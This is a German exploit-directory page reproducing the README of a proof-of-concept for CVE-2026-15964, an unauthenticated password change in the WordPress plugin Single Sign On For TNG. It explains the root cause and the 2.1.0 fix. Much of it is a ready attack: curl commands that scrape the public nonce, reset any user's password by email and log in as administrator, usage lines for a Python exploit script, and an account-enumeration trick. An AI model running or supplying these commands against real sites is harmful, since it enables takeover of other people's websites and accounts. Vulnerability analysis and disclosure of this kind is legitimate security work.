Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-15964-PoC — PoC & Checker für CVE-2026-15964 – nicht authentifizierte Passwortänderung im WordPress-Plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentifizierung & AutorisierungPrivilege EscalationWeb-SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC & Checker für CVE-2026-15964 – nicht authentifizierte Passwortänderung im WordPress-Plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Repository anzeigen
113vor 2 MonatenNoch nicht geprüft

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Nicht authentifizierte Privilegienerweiterung durch ungeprüfte Passwortänderung im WordPress-Plugin Single Sign On For TNG.

SchweregradKritisch (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Ungeprüfte Passwortänderung)
BetroffenPlugin-Versionen 1.0.0 bis 2.0.0
Behoben in2.1.0 (veröffentlicht am 2026-07-27)
Veröffentlicht2026-08-01
Authentifizierung erforderlichkeine (wp_ajax_nopriv_ssoprocess_ajax)
AuswirkungPasswort von jedem WordPress-Konto ändern, einschließlich Administratoren - vollständige Übernahme der Website
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

Kurzfassung

Jeder nicht authentifizierte Besucher kann das Passwort eines beliebigen Kontos auf einer Website ändern, auf der das Plugin in Version 2.0.0 oder früher läuft. Zwei HTTP-Anfragen:

  1. Rufe die Startseite per GET auf und kopiere die Nonce aus dem SSOPWDREQUIREMENT-JavaScript-Objekt.
  2. Sende sie per POST an admin-ajax.php mit operation=setnewpassword, einer Opfer-E-Mail-Adresse und einem neuen Passwort.

Der WordPress-Kern übernimmt mit reset_password() den Rest. Kein Token, kein E-Mail-Bestätigungslink, keine Berechtigungsprüfung. Danach als Administrator anmelden.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Warum das funktioniert

Der Handler ist für nicht authentifizierte Benutzer registriert

In single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* bedeutet, dass der Handler ohne jegliche Sitzung erreichbar ist.

Die einzige Absicherung ist eine Nonce, die das Plugin jedem Besucher aushändigt

load_scripts() ist an wp_enqueue_scripts angehängt, daher gibt das Plugin auf jeder Frontend-Seite Folgendes in das HTML aus:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Das wird wie folgt dargestellt:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

Und der Handler prüft es so:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

Der Haken: WordPress berechnet Nonces mit wp_create_nonce($action) anhand von uid und dem Sitzungstoken. Für abgemeldete Besucher sind das 0 und ein leerer String, was bedeutet, dass jeder anonyme Besucher exakt dieselbe Nonce erhält. Sie wird nur alle 12 Stunden neu erzeugt (der Nonce-Tick). Die Nonce, die das Plugin für jeden Besucher ausgibt, ist also auch für den Angreifer gültig - es gibt kein Geheimnis zu stehlen, es wird direkt auf der Seite veröffentlicht.

Und dann die eigentliche Änderung, ohne jeden Inhaberschaftsnachweis

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() ist eine Kernfunktion von WordPress. Sie setzt den neuen Hash, meldet das Opfer aus allen anderen Sitzungen ab und löst die Aktionen password_reset / after_password_reset aus. Sie wird hier aufgerufen, ohne dass irgendetwas belegt, dass der Aufrufer der Kontoinhaber ist.

Zwei zusätzliche Punkte, die man kennen sollte:

  • Keine serverseitige Prüfung der Passwortstärke auf diesem Pfad. Die Regeln MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC des Plugins werden nur in validate_form() für Forminator-Formulare durchgesetzt, niemals hier. Jedes Passwort wird akzeptiert.
  • Konto-Enumeration. {"success":true} vs. {"success":false} verrät, ob eine E-Mail-Adresse registriert ist. Der --enum-only-Modus des Checkers nutzt das.
  • Bonus-Bug in derselben Funktion: operation=set_tzoffset ruft update_option('localtzoffset', $post['timezoneoffset']) ohne Authentifizierung auf. Nicht direkt für RCE ausnutzbar, aber es ist ein Schreiben von Optionen ohne Authentifizierung und im Write-up erwähnenswert.

Was sich in 2.1.0 geändert hat

Der Vergleich von 2.0.0 mit 2.1.0 macht den Fix offensichtlich (und bestätigt den Bug):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

plus, in newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

In 2.1.0 sieht der Ablauf also so aus: Eine echte Wiederherstellungsanfrage speichert einen benutzerspezifischen custom_recovery_token und eine custom_recovery_nonce in den Benutzer-Metadaten, der Wiederherstellungslink enthält die Benutzer-ID, das Formular validiert beides, und der AJAX-Handler weigert sich zu laufen, sobald das Wiederherstellungsfenster (timeout) abgelaufen ist. Ein Angreifer, der keinen gültigen Wiederherstellungsdatensatz vorweisen kann, kann setnewpassword nicht mehr auslösen.


Reproduktion (manuell)

Schritt 1 - die Nonce auslesen

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Schritt 2 - das Passwort ändern

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Erwartete Antwort auf einer verwundbaren Installation: {"success":true}

Schritt 3 - anmelden

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit für einzelne Websites. Nicht-destruktive Modi sind enthalten.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
Tool herunterladen